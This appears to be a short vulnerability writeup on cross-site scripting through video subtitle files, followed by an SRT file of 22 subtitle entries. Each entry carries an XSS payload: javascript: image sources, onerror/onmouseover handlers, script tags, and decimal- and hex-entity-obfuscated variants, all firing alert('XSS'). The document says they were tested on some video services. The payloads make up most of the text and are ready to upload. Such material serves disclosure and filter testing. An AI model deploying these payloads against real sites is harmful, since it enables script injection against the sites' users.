XSS in subtitle

Author: Mohammad MortazaviZade

Description

It is possible for an attacker to execute JavaScript in a video’s subtitle. This is also referred to as XSS (Cross-Site Scripting). If a website loads subtitle separately in the browser then an attacker can run any HTML or JavaScript in video subtitles. It has been tested on some video services.

Examples

The attacker can save the mentioned contents below by the format of srt and upload prepared srt file as a video’s subtitles.

1
 00:00:37,618 --\> 00:00:42,557
 \<font color="\#ffff00"\>: '';\!--"\<XSS\>=&{()}\</font\>

2
 00:00:58,425 --\> 00:01:00,704
 <IMG SRC="javascript:alert('XSS');">

3
 00:01:00,705 --\> 00:01:01,873
 <IMG SRC=javascript:alert('XSS')>

4
 00:01:02,225 --\> 00:01:04,519
 <IMG SRC=javascript:alert('XSS')>

5
 00:01:04,520 --\> 00:01:05,547
 <IMG SRC=javascript:alert('XSS')>

6
 00:01:05,864 --\> 00:01:08,117
 <IMG SRC=javascript:alert('XSS')>

7
 00:01:08,224 --\> 00:01:09,223
 \<IMG """\>

    <SCRIPT>

    alert("XSS")

    </SCRIPT>

"\>

8
 00:01:09,224 --\> 00:01:10,434
 <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

9
 00:01:11,384 --\> 00:01:12,427
 <IMG SRC=# onmouseover="alert('xxs')">

10
 00:01:15,504 --\> 00:01:17,506
 <IMG SRC= onmouseover="alert('xxs')">

11
 00:01:19,743 --\> 00:01:20,786
 <IMG onmouseover="alert('xxs')">

12
 00:01:24,183 --\> 00:01:25,351
 <IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

13
 00:01:40,663 --\> 00:01:41,705

<img src=xonerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

14
 00:01:42,703 --\> 00:01:45,742
 \<IMG SRC=<javascript:alert>( 'XSS')\>

15
 00:01:45,743 --\> 00:01:46,285
 \<IMG SRC=&\#0000106&\#0000097&\#0000118&\#0000097&\#0000115&\#0000099&\#0000114&\#0000105&\#0000112&\#0000116&\#0000058&\#0000097&
\#0000108&\#0000101&\#0000114&\#0000116&\#0000040&\#0000039&\#0000088&\#0000083&\#0000083&\#0000039&\#0000041\>

16
 00:01:48,503 --\> 00:01:49,545
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

17
 00:01:49,582 --\> 00:01:51,709
 <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

18
 00:01:54,822 --\> 00:01:58,200
 <IMG SRC="jav   ascript:alert('XSS');">

19
 00:02:01,021 --\> 00:02:03,691
 <IMG SRC="jav
  ascript:alert('XSS');">

20
 00:02:04,702 --\> 00:02:05,744
 <IMG SRC="javascript:alert('XSS');">

21
 00:02:15,700 --\> 00:02:18,536
 \<IMG SRC="<javascript:alert>('XSS')"

22
 00:02:18,740 --\> 00:02:22,619
 \\";alert('XSS');//
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